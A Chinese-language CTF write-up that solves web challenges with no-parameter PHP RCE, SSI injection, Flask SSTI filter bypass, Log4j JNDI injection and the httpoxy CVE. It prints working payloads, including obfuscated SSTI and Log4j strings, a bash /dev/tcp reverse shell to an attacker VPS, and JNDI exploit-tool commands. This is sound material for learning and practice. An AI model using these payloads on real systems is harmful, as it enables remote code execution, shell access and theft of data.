¶前言
最近各种烦心事接锤而至,博客也很久没更新了。现在空了更新一下,这个比赛也是好久之前的了,补个wp记录一下,下边贴个当时成绩的图
¶web
¶RCE_No_Para
1 |
|
无参数rce,老考点了,这里过滤了end
和dir
,所以常用的办法都被ban了,不过还是存在很多可以利用的方法,不懂的同学可以来了解下面几个php函数
get_defined_vars():函数返回由所有已定义变量所组成的数组
再套个current()
便可以得到当前数组中的元素的值
这里我们可以通过参数 do 去自定义想要的值(也就是有机会构造rce),不过正如前面所说,next、end 等一些操作数组指针指向的函数被 ban 了,所以要想指向让 do 跑到第一位,我们可以用反转功能的函数array_reverse()
接下来需要用的两个php函数
1
2 array_flip():交换数组中的键和值,成功时返回交换后的数组
array_rand():从数组中随机取出一个或多个随机键
首先通过array_flip()
去把数组中的键和值进行交换,再用array_rand()
函数去获取数组中的键的内容,如此我们得到可控的 rce 点,最终payload如下
1 | code=eval(array_rand(array_flip(array_reverse(current(get_defined_vars())))));&do=system("cat+flag.php"); |
¶Baby_Upload
这道题过滤了很多文件后缀,最后用到的点是SSI注入
SSI全称是Server Side Includes,即服务器端包含,是一种基于服务器端的网页制作技术。
SSI在HTML文件中,可以通过注释行调用命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。
也就是服务器启用了 SSI 功能,就有可能存在 SSI 注入。这里上传shtml
文件
这里过滤了ls
命令,所以使用 dir 去查看根目录文件,上传成功访问文件
接着使用cut
命令去读取文件
不过文件名被过滤了,使用?
匹配符即可
最后访问获得flag
¶flask
查看网页源代码
1 | <!--/admin--> |
注释给了一段hint,需要我们访问/admin
路由,但是做了限制,要求请求的路径必须得/login
开头或者.js?
结尾,这里我们添加一个参数即可bypass
接着提示访问?name
,flask容易想到 ssti 模板注入
确认是ssti
注入后,便开始构造 payload,不过这里也做了很多限制,比如 ban 了中括号、点、下划线等等,对应去bypass即可,最后payload
1 | /admin?name={{lipsum|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("os")|attr("popen")("cat+/flag")|attr("read")()}}&dotast=.js? |
¶Shiro?
根据题目和页面判断是一个 shiro 的反序列化漏洞,但一直打不通,想到最近的log4j
漏洞,考点兴许在这,在用户名和密码的输入点打了一个payload尝试
1 | ${jndi:ldap://gghkvh.dnslog.cn/exp} |
回显Don’t Hacking Me,说明有过滤,测试过后发现过滤的是jndi关键字,通过{::-n}
等规则替换即可
1 | ${${::-j}ndi:rmi://r2lvm6.dnslog.cn/exp} |
dnslog成功回显,接下来就是利用了。在github上找个几年前的轮子
1 | https://github.com/welk1n/JNDI-Injection-Exploit |
下载到自己的 vps 上,首先将反弹shell编码成base64形式
1 | bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/port 0>&1 |
接着通过jar包开启服务
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64编码的反弹shell语句}|{base64,-d}|{bash,-i}" -A "vps的ip" |
然后多开一个窗口进行监听端口,在用户名填写对应生成的payload发送,例如我图中的是 9opfso
1 | ${${::-j}ndi:rmi://ip:port/9opfso} |
即可反弹shell成功
如果因为环境没成功,也可以使用JNDIExploit-1.2-SNAPSHOT.jar
这个工具起 ldap 服务
1 | java -jar JNDIExploit-1.2-SNAPSHOT.jar -i ip |
payload
1 | ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://ip:1389/Basic/ReverseShell/ip/8989} |
¶Flag配送中心
原谅我知之甚少,赛后看wp才知道考点是CVE-2016-5387,可能我太菜了,看不出来,也不知道有这个cve
开始复现,vps上监听端口,然后请求头加上proxy:vpsip:port
vps监听到flag